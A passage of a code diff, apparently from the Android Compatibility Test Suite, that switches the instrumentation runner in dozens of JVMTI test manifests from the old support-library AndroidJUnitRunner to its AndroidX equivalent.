--- a/hostsidetests/jvmti/run-tests/test-903/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-903/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_903" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-904/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-904/app/AndroidManifest.xml
index 59ef42c..584487c 100644
--- a/hostsidetests/jvmti/run-tests/test-904/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-904/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_904" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-905/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-905/app/AndroidManifest.xml
index 9092bf7..4eabd98 100644
--- a/hostsidetests/jvmti/run-tests/test-905/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-905/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_905" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-906/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-906/app/AndroidManifest.xml
index c06dc7e..f622b86 100644
--- a/hostsidetests/jvmti/run-tests/test-906/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-906/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_906" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-907/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-907/app/AndroidManifest.xml
index 0e96029..9bb1a8a 100644
--- a/hostsidetests/jvmti/run-tests/test-907/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-907/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_907" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-908/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-908/app/AndroidManifest.xml
index 2dddb65..cb3660d 100644
--- a/hostsidetests/jvmti/run-tests/test-908/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-908/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_908" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-910/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-910/app/AndroidManifest.xml
index 6fbbb29..b0215b5e 100644
--- a/hostsidetests/jvmti/run-tests/test-910/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-910/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_910" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-911/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-911/app/AndroidManifest.xml
index 1284b25..a36b2b7 100644
--- a/hostsidetests/jvmti/run-tests/test-911/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-911/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_911" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-912/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-912/app/AndroidManifest.xml
index d689692..358cd64 100644
--- a/hostsidetests/jvmti/run-tests/test-912/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-912/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_912" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-913/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-913/app/AndroidManifest.xml
index bd183b8..5649bb2 100644
--- a/hostsidetests/jvmti/run-tests/test-913/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-913/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_913" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-914/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-914/app/AndroidManifest.xml
index 5d6869c..2c9489f 100644
--- a/hostsidetests/jvmti/run-tests/test-914/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-914/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_914" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-915/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-915/app/AndroidManifest.xml
index 12c417e..823678f 100644
--- a/hostsidetests/jvmti/run-tests/test-915/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-915/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_915" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-917/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-917/app/AndroidManifest.xml
index 114aa4c..40df834 100644
--- a/hostsidetests/jvmti/run-tests/test-917/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-917/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_917" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-918/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-918/app/AndroidManifest.xml
index 96ce8aa..0109de3 100644
--- a/hostsidetests/jvmti/run-tests/test-918/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-918/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_918" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-919/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-919/app/AndroidManifest.xml
index 7ce0424..9de1b2f 100644
--- a/hostsidetests/jvmti/run-tests/test-919/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-919/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_919" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-920/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-920/app/AndroidManifest.xml
index 1c85104..6ea6aee 100644
--- a/hostsidetests/jvmti/run-tests/test-920/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-920/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_920" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-922/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-922/app/AndroidManifest.xml
index 985352d..2ada6b6 100644
--- a/hostsidetests/jvmti/run-tests/test-922/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-922/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_922" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-923/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-923/app/AndroidManifest.xml
index 3c8bced..19ff0ae 100644
--- a/hostsidetests/jvmti/run-tests/test-923/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-923/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_923" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-924/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-924/app/AndroidManifest.xml
index bcc74c3..d3b6f0d 100644
--- a/hostsidetests/jvmti/run-tests/test-924/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-924/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_924" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-926/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-926/app/AndroidManifest.xml
index b2a855a..8a2cc60 100644
--- a/hostsidetests/jvmti/run-tests/test-926/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-926/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_926" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-927/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-927/app/AndroidManifest.xml
index 966014a..e8beda3 100644
--- a/hostsidetests/jvmti/run-tests/test-927/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-927/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_927" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-928/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-928/app/AndroidManifest.xml
index 1a4d25b..f6b0c7d 100644
--- a/hostsidetests/jvmti/run-tests/test-928/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-928/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_928" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-930/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-930/app/AndroidManifest.xml
index 505448f..db195c2 100644
--- a/hostsidetests/jvmti/run-tests/test-930/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-930/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_930" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-931/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-931/app/AndroidManifest.xml
index 710e208..9903cec 100644
--- a/hostsidetests/jvmti/run-tests/test-931/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-931/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_931" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-932/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-932/app/AndroidManifest.xml
index 6c4affd..9abc08e 100644
--- a/hostsidetests/jvmti/run-tests/test-932/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-932/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_932" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-940/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-940/app/AndroidManifest.xml
index 227e058..7d24f58 100644
--- a/hostsidetests/jvmti/run-tests/test-940/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-940/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_940" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-942/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-942/app/AndroidManifest.xml
index c40171f..708774c 100644
--- a/hostsidetests/jvmti/run-tests/test-942/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-942/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_942" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-944/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-944/app/AndroidManifest.xml
index 2492237..3aefafa 100644
--- a/hostsidetests/jvmti/run-tests/test-944/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-944/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_944" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-945/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-945/app/AndroidManifest.xml
index bfe5f24..abf4e5b 100644
--- a/hostsidetests/jvmti/run-tests/test-945/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-945/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_945" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-947/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-947/app/AndroidManifest.xml
index 36a85ef..e3522b1 100644
--- a/hostsidetests/jvmti/run-tests/test-947/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-947/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_947" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-951/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-951/app/AndroidManifest.xml
index be50d55..596eb3b 100644
--- a/hostsidetests/jvmti/run-tests/test-951/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-951/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_951" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-982/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-982/app/AndroidManifest.xml
index d1cc7b1..9cb8e37 100644
--- a/hostsidetests/jvmti/run-tests/test-982/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-982/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_982" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-983/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-983/app/AndroidManifest.xml
index c7a04e8..e321f00 100644
--- a/hostsidetests/jvmti/run-tests/test-983/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-983/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_983" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-984/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-984/app/AndroidManifest.xml
index 963cd51..637e5b1 100644
--- a/hostsidetests/jvmti/run-tests/test-984/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-984/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_984" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-985/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-985/app/AndroidManifest.xml
index 4b0ffa5..9ff634a 100644
--- a/hostsidetests/jvmti/run-tests/test-985/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-985/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_985" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-986/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-986/app/AndroidManifest.xml
index 4c12d93..37b50d8 100644
--- a/hostsidetests/jvmti/run-tests/test-986/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-986/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_986" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-988/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-988/app/AndroidManifest.xml
index b4f7af8..dfeb070 100644
--- a/hostsidetests/jvmti/run-tests/test-988/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-988/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_988" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-989/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-989/app/AndroidManifest.xml
index c04d145..e567a66 100644
--- a/hostsidetests/jvmti/run-tests/test-989/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-989/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_989" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-990/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-990/app/AndroidManifest.xml
index 6d6f063..fd87c21 100644
--- a/hostsidetests/jvmti/run-tests/test-990/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-990/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_990" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-991/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-991/app/AndroidManifest.xml
index e12e42a..6832440 100644
--- a/hostsidetests/jvmti/run-tests/test-991/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-991/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_991" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-992/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-992/app/AndroidManifest.xml
index a6e156c..4d84fcd 100644
--- a/hostsidetests/jvmti/run-tests/test-992/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-992/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_992" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-993/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-993/app/AndroidManifest.xml
index 68a04cc..457241f 100644
--- a/hostsidetests/jvmti/run-tests/test-993/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-993/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_993" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-994/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-994/app/AndroidManifest.xml
index af8bab8..514807c 100644
--- a/hostsidetests/jvmti/run-tests/test-994/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-994/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_994" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-995/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-995/app/AndroidManifest.xml
index 7887bf3..5573c26 100644
--- a/hostsidetests/jvmti/run-tests/test-995/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-995/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_995" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-996/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-996/app/AndroidManifest.xml
index 7f9a22a..5bbeb41 100644
--- a/hostsidetests/jvmti/run-tests/test-996/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-996/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_996" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/run-tests/test-997/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-997/app/AndroidManifest.xml
index 5dd570c..9d08b83 100644
--- a/hostsidetests/jvmti/run-tests/test-997/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-997/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.run_test_997" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/tagging/app/AndroidManifest.xml b/hostsidetests/jvmti/tagging/app/AndroidManifest.xml
index 03509ce..49d9b2c 100755
--- a/hostsidetests/jvmti/tagging/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/tagging/app/AndroidManifest.xml
@@ -26,7 +26,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
